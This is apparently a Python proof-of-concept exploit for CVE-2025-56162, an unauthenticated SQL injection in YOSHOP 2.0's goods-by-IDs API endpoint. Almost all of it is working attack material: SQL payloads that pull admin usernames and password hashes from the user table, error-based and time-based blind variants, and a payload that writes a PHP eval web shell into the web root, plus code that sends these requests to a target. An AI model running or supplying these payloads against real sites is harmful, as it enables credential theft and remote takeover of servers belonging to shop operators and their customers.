# CVE-2025-56162 - YOSHOP 2.0 SQL Injection PoC
# Vulnerability: Unauthenticated SQL Injection in goodsIds parameter
# Endpoint: /api/goods/listByIds
# Method: GET
import requests
target_url = "http://target.com"
endpoint = "/api/goods/listByIds"
# Payload 1: Basic SQL Injection to test the vulnerability
payload_basic = "1) AND 1=1-- -"
# Payload 2: UNION-based injection to extract admin password hash
payload_union = "1) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,group_concat(username,0x3a,password) FROM yoshop_user-- -"
# Payload 3: Error-based injection
payload_error = "1) AND extractvalue(1,concat(0x7e,(SELECT password FROM yoshop_user LIMIT 1)))-- -"
# Payload 4: Time-based blind injection
payload_time = "1) AND IF(1=1,SLEEP(5),0)-- -"
# Payload 5: Write WebShell via INTO OUTFILE (requires FILE privilege)
payload_shell = "1) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'<?php @eval($_POST[\"cmd\"]);?>' INTO OUTFILE '/var/www/html/shell.php'-- -"
# Send exploit request
def exploit(target, payload):
params = {"goodsIds": payload}
try:
resp = requests.get(target + endpoint, params=params, timeout=10)
print(f"[+] Status: {resp.status_code}")
print(f"[+] Response: {resp.text[:500]}")
return resp
except Exception as e:
print(f"[-] Error: {e}")
return None
# Run exploitation
print("[*] Testing basic injection...")
exploit(target_url, payload_basic)
print("\n[*] Extracting admin credentials...")
exploit(target_url, payload_union)
print("\n[*] Attempting WebShell upload...")
exploit(target_url, payload_shell)